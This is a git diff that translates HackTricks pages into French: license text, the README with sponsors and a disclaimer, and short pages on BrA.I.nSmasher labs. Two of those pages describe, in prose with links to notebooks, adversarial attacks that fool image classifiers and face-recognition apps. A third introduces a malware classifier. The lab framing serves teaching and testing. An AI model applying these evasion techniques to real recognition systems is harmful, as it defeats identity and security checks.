6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. + Pour éviter tout doute, cette Section 6(b) n'affecte aucun droit que le concédant peut avoir de rechercher des recours pour vos violations de cette Licence publique. -c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. +c. Pour éviter tout doute, le concédant peut également offrir le Matériel sous licence sous des termes ou conditions séparés ou cesser de distribuer le Matériel sous licence à tout moment ; cependant, cela ne mettra pas fin à cette Licence publique. -d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. +d. Les Sections 1, 5, 6, 7 et 8 survivent à la résiliation de cette Licence publique. -## Section 7 – Other Terms and Conditions. +## Section 7 - Autres termes et conditions. -a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. +a. Le concédant ne sera pas lié par des termes ou conditions supplémentaires ou différents communiqués par vous, sauf accord express. -b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. +b. Toute disposition, entente ou accord concernant le Matériel sous licence non énoncé dans les présentes est distincte et indépendante des termes et conditions de cette Licence publique. -## Section 8 – Interpretation. +## Section 8 - Interprétation. -a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. +a. Pour éviter tout doute, cette Licence publique ne réduit pas, ne limite pas, ne restreint pas ou n'impose pas de conditions à toute utilisation du Matériel sous licence qui pourrait légalement être effectuée sans autorisation en vertu de cette Licence publique. -b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. +b. Dans la mesure du possible, si une disposition de cette Licence publique est jugée inapplicable, elle sera automatiquement reformulée dans la mesure minimale nécessaire pour la rendre applicable. Si la disposition ne peut être reformulée, elle sera dissociée de cette Licence publique sans affecter la validité des termes et conditions restants. -c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. - -d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. +c. Aucune disposition de cette Licence publique ne sera renoncée et aucun manquement ne sera consenti, sauf accord express du concédant. +d. Rien dans cette Licence publique ne constitue ou ne peut être interprété comme une limitation ou une renonciation à tout privilège et immunité qui s'applique au concédant ou à vous, y compris des processus juridiques de toute juridiction ou autorité. ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/). ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/README.md b/README.md index 0b9f5f584..243d58e5a 100644 --- a/README.md +++ b/README.md @@ -1,44 +1,43 @@ --- description: >- - Welcome to the page where you will find each hacking trick/technique/whatever - I have learnt from CTFs, real life apps, reading researches, and news. + Bienvenue sur la page où vous trouverez chaque astuce / technique de piratage / quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, de la lecture de recherches et de l'actualité. --- # HackTricks
-_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Logos et design de mouvement Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ {% hint style="info" %} -**Welcome to the page where you will find each hacking trick/technique/whatever I have learnt from CTFs, real life apps, reading researches, and news.** +**Bienvenue sur la page où vous trouverez chaque astuce / technique de piratage / quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, de la lecture de recherches et de l'actualité.** {% endhint %} -Here you can find a little **introduction:** +Ici, vous pouvez trouver une petite **introduction:** -## [**Pentesting Methodology**](generic-methodologies-and-resources/pentesting-methodology.md) +## [**Méthodologie de Pentesting**](generic-methodologies-and-resources/pentesting-methodology.md) -Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**. +Ici, vous trouverez le **flux typique** que **vous devez suivre lors du pentesting** d'une ou plusieurs **machines**. -**Click on the title to start!** +**Cliquez sur le titre pour commencer!** -## Corporate Sponsors +## Sponsors d'entreprise ### [STM Cyber](https://www.stmcyber.com) ![](<.gitbook/assets/image (642) (1) (1) (1).png>) -[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training. +[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de piratage pour **offrir plusieurs services de cybersécurité précieux** tels que le pentesting, les équipes rouges et la formation. -You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) +Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** also support cybersecurity open source projects like HackTricks :) +**STM Cyber** soutient également les projets open source de cybersécurité comme HackTricks :) ### [RootedCON](https://www.rootedcon.com/)
-[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} @@ -46,9 +45,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm ![](.gitbook/assets/i3.png) -**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.** +**Intigriti** est la plateforme de **bug bounty n°1 en Europe** et de piratage éthique. -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +Conseil de bug bounty: **inscrivez-vous** à **Intigriti**, une plateforme de **bug bounty premium créée par des pirates pour des pirates**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -57,9 +56,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde. -Get Access Today: +Obtenez un accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -67,13 +66,13 @@ Get Access Today:
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lire des tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevoir des notifications sur les nouveaux bug bounties -💬 Participate in community discussions +💬 Participer aux discussions de la communauté \--- @@ -81,71 +80,4 @@ Get Access Today:
-[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach. - -WebSec is an **all-in-one security company** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more. - -Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.nl/en/) and [**blog**](https://websec.nl/blog/)! - -In addition to the above WebSec is also a **committed supporter of HackTricks.** - -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} - -### [DragonJAR](https://www.dragonjar.org/) - -
- -[**DragonJAR is a leading offensive cybersecurity company**](https://www.dragonjar.org/) **located in Colombia**. DragonJAR offers [comprehensive offensive cybersecurity services, such as **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) in various areas and practically **any technology**, **Red Team** attack simulations, **physical** security testing, **stress testing**, social engineering, source **code security review**, and cybersecurity training. Additionally, they organize the **DragonJAR Security Conference**, [an international cybersecurity congress](https://www.dragonjarcon.org/) that has been held for over a decade, becoming a showcase for the latest security research in Spanish and of great relevance in the region. - -[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Asimismo, organiza la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región. - -### [SYN CUBES](https://www.syncubes.com/) - -
- -**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions. - -{% embed url="https://www.syncubes.com/" %} - -### [HACK THE BOX](https://www.hackthebox.com/) - -
- -Hack The Box is an online platform designed to facilitate **learning and advancement in the field of cybersecurity**. Providing an array of real-life scenarios in a safe and controlled environment, Hack The Box allows users to test and grow their skills in penetration testing and ethical hacking. - -The platform features a range of challenges of varying difficulty levels, covering different aspects of cybersecurity. Users can engage in **virtual Capture The Flag (CTF) competitions**, solve individual problems, and even access a plethora of educational resources. - -Hack The Box serves a diverse audience, from **beginners taking their first steps** into the world of cybersecurity, to **seasoned professionals** looking to refine and update their knowledge. Its unique blend of challenge, learning, and community interaction makes it an invaluable resource for those interested in cybersecurity. - -{% embed url="https://www.hackthebox.com/" %} - -## License - -**Copyright © Carlos Polop 2023. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ -**If you want to use it with commercial purposes, contact me.** - -## **Disclaimer** - -{% hint style="danger" %} -This book, 'HackTricks,' is intended for educational and informational purposes only. The content within this book is provided on an 'as is' basis, and the authors and publishers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability of the information, products, services, or related graphics contained within this book. Any reliance you place on such information is therefore strictly at your own risk. - -The authors and publishers shall in no event be liable for any loss or damage, including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this book. - -Furthermore, the techniques and tips described in this book are provided for educational and informational purposes only, and should not be used for any illegal or malicious activities. The authors and publishers do not condone or support any illegal or unethical activities, and any use of the information contained within this book is at the user's own risk and discretion. - -The user is solely responsible for any actions taken based on the information contained within this book, and should always seek professional advice and assistance when attempting to implement any of the techniques or tips described herein. - -By using this book, the user agrees to release the authors and publishers from any and all liability and responsibility for any damages, losses, or harm that may result from the use of this book or any of the information contained within it. -{% endhint %} - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+[**WebSec**](https://websec.nl) est diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md index 35ccb4681..a9f3640e5 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md @@ -1,48 +1,11 @@ +Cette fois, nous présentons un nouveau type d'attaque basée sur le gradient, afin de forcer une application de classification d'images (qui peut être adaptée et utilisée pour n'importe quelle entrée bien sûr), le BIM ou Basic Iteration Method. +Il est recommandé de consulter au moins l'explication dans le [**Notebook de défi d'introduction**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR). -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method. - -It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) - -To go deeper on the BIM topic: +Pour approfondir le sujet du BIM : https://arxiv.org/pdf/1607.02533.pdf -As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations. - -Please Note: -Remeber, in those kind of scenarios, in order to mime real-based attack applications, we don't have the exact model to fool or the image target in which we would like to transform our image. That's why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +Comme d'habitude, nous ne fournirons que la partie centrale de l'attaque A.I., il vous appartient de compléter l'outil et de le mélanger avec des techniques de PT, en fonction des situations. +Veuillez noter : +Rappelez-vous, dans ce genre de scénarios, afin de simuler des applications d'attaque basées sur la réalité, nous n'avons pas le modèle exact à tromper ou l'image cible dans laquelle nous voudrions transformer notre image. C'est pourquoi, afin de surmonter ce problème, nous devons mélanger notre script central avec une logique de brute-force, en fonction des réponses de l'application que nous voulons tromper. diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md index 49f5313c8..dc8f6043d 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md @@ -1,50 +1,12 @@ +# SCRIPT DE CORRUPTION D'IMAGE BRUTEFORCER +Le but ici est d'introduire l'utilisateur à certains concepts de base sur l'exploitation des applications **A.I.**, via des scripts faciles à suivre, qui représentent le cœur de l'écriture d'outils utiles.
+Dans cet exemple (qui peut être utilisé pour résoudre les laboratoires faciles de BrainSmasher) en rappelant également ce qui est écrit dans la solution pour le défi d'introduction, nous fournirons une manière simple mais utile, afin de produire de manière itérative des images corrompues, pour bruteforcer les laboratoires de reconnaissance faciale facile (et donc également les applications réelles qui reposent sur les mêmes principes). -
+Bien sûr, nous ne fournirons pas le code complet mais seulement la partie centrale pour l'exploitation du modèle, **au lieu de cela, certaines exercices seront laissés à l'utilisateur (la partie de pentesting)**, afin de compléter l'outil. Nous fournirons également quelques indices, juste pour donner une idée de ce qui peut être fait. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Le script peut être trouvé sur [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - - -# BRUTEFORCER IMAGE CORRUPTION SCRIPT - -The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.
-In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) - -Of course we will not provide the full code but only the core part for the exploiting of the model,**instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. - -The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) - -Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/) +Essayez-le sur nos laboratoires [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
-Enjoy and stay safe! - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Profitez-en et restez en sécurité! diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md index 1cdf33352..ac97ad6cc 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md @@ -1,54 +1,31 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-#INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1) +#COMPÉTENCE PYTHON INTERMÉDIAIRE, COMPÉTENCES EN APPRENTISSAGE MACHINE INTERMÉDIAIRE (Partie 1) -In this series of notebook we are going to build an **hybrid malware classifier.** +Dans cette série de notebooks, nous allons construire un **classificateur de logiciels malveillants hybride.** -For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. +Pour la **première partie**, nous nous concentrerons sur le script qui implique l'analyse dynamique. Toutes les étapes de cette série seront utiles pour détecter les logiciels malveillants, et dans cette partie, nous essaierons de les classer en fonction de leur comportement, en utilisant les journaux produits par l'exécution d'un programme. -In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. +Dans la **deuxième partie**, nous verrons comment manipuler les fichiers journaux afin d'ajouter de la robustesse à notre classificateur et d'ajuster le code pour contrer les méthodes plus avancées d'évasion de logiciels malveillants A.I. -In the **Third Part** we will create a Static Malware Classifier. +Dans la **troisième partie**, nous créerons un classificateur de logiciels malveillants statique. -For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. - -**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.
-There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. - -Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :) - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
